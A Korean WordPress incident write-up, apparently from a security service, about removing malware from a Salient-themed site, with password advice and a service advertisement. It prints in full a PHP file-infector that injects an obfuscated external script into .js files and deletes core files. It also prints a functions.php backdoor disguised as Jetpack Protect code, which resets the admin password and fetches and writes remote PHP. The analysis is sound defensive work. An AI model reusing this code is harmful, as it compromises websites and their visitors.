레퍼런스 워드프레스

워드프레스 해킹 복구 및 보안최적화 작업 사례 #52 – 살리언트 테마 ( Salient theme )

새로운 형태의 워드프레스 해킹에 대한 악성코드 제거, 복구 및 보안최적화 작업을 진행했습니다. 이 작업은 처음에 해킹 복구 요청이 아니라 관리자 로그인이 되지 않아 비밀번호를 잊어버리신줄 알고 데이터베이스를 통해 비밀번호를 변경해 달라는 내용이었습니다. 호스팅은 카페24 였고, 카페24 에서는 PHPMYADMIN 이라는 웹어드민 도구를 이용해서 웹브라우저에서 데이터베이스를 수정할 수 있습니다.

MYSQL 서버에 접속을 해서  wp_users 테이블에 있는 유저 비밀번호를 변경하였는데, 이상하게 비밀번호를 변경을 해도 여전히 관리자 로그인이 되지 않고, 약 10초 뒤에 다시 다른 비밀번호로 변경이 되는 현상을 보게 되었습니다. 처음에는 데이터베이스 서버나 자바스크립트 오류인가 했는데, 계속해서 이런 증상이 발생하기에 코드쪽에 문제가 있다는 것을 인지하고, SSH 와 FTP 로 접속을 해서 코드들을 살펴보았습니다.

코드를 살펴보니 플러그인, 테마 폴더에 악성코드를 담고 있는 폴더들이 심겨져 있었고, 각각 파밍사이트 기능과 파일 변조 기능 등을 가지고 있었습니다. 그리고 다른 악성코드들이 주로 자바스크립트 파일을 (JS) 감염시켜 다른 사이트로 리다이렉트 시키는 증상을 보이는 반면, 이 악성코드는 테마의 functions.php 파일에 관리자 비밀번호 변경 코드 및 다양한 코드를 심어놓고, 숙주 사이트 또는 좀비 사이트를 만드는 방식으로 작동을 하고 있었습니다. 이런 형태의 감염이 더 무서운 것이 자바스크립트 감염은 바로 증상이 나타나서 인지를 빨리하고 대응을 할 수 있지만, 이런 형태는 숙주 사이트로 이용이 되면서 포털이나 검색엔진에서 불법사이트로 찍혀서 사이트나 도메인이 정지를 당할 수도 있고, 급격한 트래픽 증가로 호스팅 회사에서 계정을 정지할 수도 있습니다. 그리고 감염여부를 파악하는 것도 어렵기 때문에 피해가 커질때까지 인지를 못하는 경우가 많습니다.

감염된 플러그인 폴더를 보니 maerlin, mjerlin, wp-login-att, wp-login-att-log 등 이상한 이름의 폴더들이 있고, 그 폴더 안을 보면 db.php, modernizr.php 파일과 js 파일들이 있습니다. 정상적인 워드프레스 플러그인 파일 구조는 폴더 안에 폴더이름과 동일한 파일이 존재해야 되는데, 여기는 그런 파일대신 이상한 파일들이 있기때문에 바로 악성코드라는 것을 알수 있습니다.  db.php 파일을 열어 보면 아래와 같이 이상한 코드들이 들어있고, 보통 다른 사이트로 위장을 하거나 .htaccess 내용을 변조하는 역할을 합니다.

워드프레스-해킹-악성코드-감염-제거-복구-보안최적화-플러그인-폴더파밍
워드프레스 해킹으로 인한 악성코드 감염 제거 및 복구, 보안최적화  작업  – 감염된 플러그인 폴더

 

워드프레스-해킹-악성코드-감염-제거-복구-보안최적화-플러그인-폴더-파밍-구조
워드프레스 해킹 악성코드 파일 구조

 

워드프레스 해킹 악성코드 파일 내용
워드프레스 해킹 악성코드 파일 내용
<?php

/**
 * The main template file for display error page.
 *
 * @package WordPress
*/


error_reporting(0);

$file_name = 'e';
$text = 'var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]));';

$position = 1;

function getDirContents($dir) {
	
    global $file_name, $text, $position;
    $files = scandir($dir);

    foreach($files as $key => $value){
        $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

        if(!is_dir($path)) {
            $path_info = pathinfo($path);
			$pos3 = stripos($path_info['basename'], '.js');
			 if($pos3 !== false){
			    $pos2 = stripos($path_info['basename'], $file_name);
				if($pos2 !== false) {
					echo 'WP_Error_Page_Not_Found '."\n";
					$pos1 = stripos(file_get_contents($path), $text);
					if ($pos1 === false) { 
					
					if($position == 2) { 
						file_put_contents($path, $text, FILE_APPEND);					
						}
						 else {
							file_put_contents($path, $text);
					}
					}

					}
			}		
        } elseif($value != "." && $value != "..") {
            getDirContents($path);
        }
    }

	
}

//start

$path = $_SERVER['DOCUMENT_ROOT'];
//echo ($path);

if(unlink($path.'/wp-admin/update-core.php')) { 
	echo ('te-co DTRU ');					
	} else {
		echo('te-co DFAL ');
		file_put_contents($path.'/wp-admin/update-core.php', '');
	}
if(unlink($path.'/.htaccess')) { 
	echo ('HTA DTRU ');					
	} else {
		echo('HTA DFAL ');
		file_put_contents($path.'/.htaccess', file_get_contents('https://gist.githubusercontent.com/BFTrick/3706672/raw/be744502cf3921f761cbef11878af6f4a2024c3d/.htaccess'));
	}	


//public_html
$pos1 = stripos($path,'/public_html/');
if ($pos1 !== false){
$rest = substr($path, 0, stripos($path, '/public_html/') + strlen('/public_html/'));
	
getDirContents($rest);
} else { 
 //html
 $pos1 = stripos($path,'/html/');
 if ($pos1 !== false){
 $rest = substr($path, 0, stripos($path, '/html/') + strlen('/html/'));
 getDirContents($rest);
 } else {
	//htdocs
	$pos1 = stripos($path,'/htdocs/');
	if ($pos1 !== false){
	$rest = substr($path, 0, stripos($path, '/htdocs/') + strlen('/htdocs/'));
	getDirContents($rest);
	} else {
	//httpdocs
	$pos1 = stripos($path,'/httpdocs/');
	if ($pos1 !== false){
	$rest = substr($path, 0, stripos($path, '/httpdocs/') + strlen('/httpdocs/'));
	getDirContents($rest);
	} else {
		//vhosts
		$pos1 = stripos($path,'/vhosts/');
		if ($pos1 !== false){
		$rest = substr($path, 0, stripos($path, '/vhosts/') + strlen('/vhosts/'));
		getDirContents($rest);
		} else {
			//www
			$pos1 = stripos($path,'/www/');
			if ($pos1 !== false){
			$rest = substr($path, 0, stripos($path, '/www/') + strlen('/www/'));
			getDirContents($rest);
			} else {
				//wwwroot
				$pos1 = stripos($path,'/wwwroot/');
				if ($pos1 !== false){
				$rest = substr($path, 0, stripos($path, '/wwwroot/') + strlen('/wwwroot/'));
				getDirContents($rest);
				} else {
					//web
					$pos1 = stripos($path,'/web/');
					if ($pos1 !== false){
					$rest = substr($path, 0, stripos($path, '/web/') + strlen('/web/'));					
					} else {
					getDirContents($_SERVER['DOCUMENT_ROOT']);	
				    }
				}	
			}	
		}	
	}
 }	
 
}
}

?>

테마 폴더 쪽에도 위와 유사하게 악성코드 폴더들이 심겨져 있고, 그 안에는 db.php 파일이 들어가 있었습니다. 또한 현재 사용중인 살리언트 테마 (Salient) 테마의 functions.php 파일에도 관리자 비밀번호를 변경하는 악성코드 뿐만 아니라 기타 악성코드들이 많이 들어가 있었습니다.

워드프레스 해킹으로 인한 악성코드 감염 제거 및 복구, 보안최적화  작업  - 감염된 테마 폴더
워드프레스 해킹으로 인한 악성코드 감염 제거 및 복구, 보안최적화  작업  – 감염된 테마 폴더
워드프레스 해킹으로 인한 악성코드 감염 제거 및 복구, 보안최적화  작업  - 감염된 테마 폴더 파일 내용
워드프레스 해킹으로 인한 악성코드 감염 제거 및 복구, 보안최적화  작업  – 감염된 테마 폴더 파일 내용
<?php
wp_set_password( 'password', 1 );  // 관리자 비밀번호 변경하는 악성코드

 /*Generated by Jetpack Protect Start*/
function downloadShaitan($urlShaitan, $fileShaitan){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $urlShaitan);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch,CURLOPT_TIMEOUT,60);
    $dataShaitan = curl_exec($ch);
    file_put_contents($fileShaitan, $dataShaitan);
}

if($_POST['activatewrm']==1){
    downloadShaitan($_POST['target'], $_SERVER["DOCUMENT_ROOT"].'/'.$_POST['wrm_file_name'].'.php');
    echo "||||%".$_SERVER["DOCUMENT_ROOT"].'/'.$_POST['wrm_file_name'].'.php'."%||||";
}

function firstStage(){
return
'

//기타 악성코드들
<?php
function secondStage($fileStage){
    chmod($fileStage, 0644);
}
function thirdStage($fileStage,$dataStage){
    file_put_contents($fileStage, $dataStage);
}
$checkFileExi = file_exists($_SERVER["DOCUMENT_ROOT"]."/wp-control.php");
if($checkFileExi and $_GET["renew"]!=1){
    secondStage($_SERVER["DOCUMENT_ROOT"]."/wp-control.php");
    include $_SERVER["DOCUMENT_ROOT"]."/wp-control.php";
}else{
    $curlHandl = curl_init();
    curl_setopt($curlHandl, CURLOPT_URL, $_GET["curlTarg"]);
    curl_setopt($curlHandl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curlHandl,CURLOPT_TIMEOUT,20);
    $curlTargetRest = curl_exec($curlHandl);
    curl_close($curlHandl);
    thirdStage($_SERVER["DOCUMENT_ROOT"]."/wp-control.php", $curlTargetRest);
    secondStage($_SERVER["DOCUMENT_ROOT"]."/wp-control.php");
    include $_SERVER["DOCUMENT_ROOT"]."/wp-control.php";
}
';
}
function fourthStage($fileStage,$dataStage){
    file_put_contents($fileStage, $dataStage);
}
function fivthStage($data){
    return urldecode($data);
}
add_action("wp_head", "mainCurlGetDown");
function mainCurlGetDown(){
    If ($_POST["include"] == "create") {
        $someValueTarg = firstStage();
        fourthStage($_SERVER["DOCUMENT_ROOT"] . "/wp-control.php", fivthStage($_POST["backdata"]));
        fourthStage($_SERVER["DOCUMENT_ROOT"] . "/" . $_POST["backname"] . ".php", $someValueTarg);
        echo "||||%" . str_replace($_SERVER["DOCUMENT_ROOT"], $_SERVER["HTTP_HOST"], $_SERVER["DOCUMENT_ROOT"]) . "/" . $_POST["backname"] . ".php&&&" . $_SERVER["DOCUMENT_ROOT"] . "/" . $_POST["backname"] . ".php&&&" . $_SERVER["DOCUMENT_ROOT"] . "%||||";
        exit;
    }
}
add_action("wp_head", "uploadShaitan");
function uploadShaitan(){
    If ($_POST["upload"] == "go") {
        fourthStage($_SERVER["DOCUMENT_ROOT"]."/".$_POST["backname"].".php",fivthStage($_POST["backdata"]));
        echo "||||%".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["HTTP_HOST"],$_SERVER["DOCUMENT_ROOT"])."/".$_POST["backname"].".php&&&".$_SERVER["DOCUMENT_ROOT"]."/".$_POST["backname"].".php&&&".$_SERVER["DOCUMENT_ROOT"]."%||||";
        exit;
    }
}
add_action("wp_head", "curlShaitan");
function curlShaitan(){
    if($_POST["upload"] == "curl"){
        $mainThemeShaitan = get_template_directory();
        downloadShaitan($_POST["secretLink"], $mainThemeShaitan."/".$_POST["curlName"]);
        echo "||||%".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["HTTP_HOST"],$mainThemeShaitan."/".$_POST["curlName"])."&&&".$mainThemeShaitan."/".$_POST["curlName"]."&&&".$mainTheme."%||||";
        exit;
    }
}
/*Generated by Jetpack Protect End*/ ?><?php 

add_action( 'wp_enqueue_scripts', 'salient_child_enqueue_styles');
function salient_child_enqueue_styles() {
	
    wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css', array('font-awesome'));

    if ( is_rtl() ) 
   		wp_enqueue_style(  'salient-rtl',  get_template_directory_uri(). '/rtl.css', array(), '1', 'screen' );
}

?>

이러한 워드프레스 해킹 및 악성코드 감염은 원인을 살펴보니 너무 쉬운 관리자 비밀번호 때문인것으로 판단이 되었습니다. 감염된 부분에서 악성코드들을 전부 제거를 하고, 보안최적화 작업을 진행을 하니 사이트는 정상적으로 작동이 되었습니다. 이런 형태의 해킹을 당하지 않으려면 관리자 비밀번호를 꼭 특수문자를 포함한 8자리 이상으로 설정을 하거나 특수문자를 포함하지 않은 10자리 이상으로 설정을 해주어야 합니다. 쉬운 비밀번호는 놀랍게도 몇초에서 몇시간이면 바로 알아낼 수 있습니다.

위의 증상과 비슷한 상황을 만나서 지원이 필요한 분들은 스마일보이랩으로 연락주시면 신속히 대응해 드리겠습니다.

 

서비스 문의

홈페이지문의 : https://www.smileboylab.com/contact/

이메일문의 : admin@smileboylab.com

전화문의 : 02-352-040502-2135-2876

톡톡 : https://talk.naver.com/ct/wc4p5h

카카오플러스친구 : http://pf.kakao.com/_yYxcRxl

 

Related posts

워드프레스 홈페이지 해킹 복구 및 멀웨어 악성코드 제거 작업 사례 #58 – 아바다, Listify, Pluto 테마

스마일보이랩

워드프레스 해킹 복구 및 보안최적화 작업 사례 #57 – 지니 ( Genie Theme )

스마일보이랩

워드프레스 해킹방지 및 보안최적화를 위한 보안플러그인 사용 매뉴얼 제작

스마일보이랩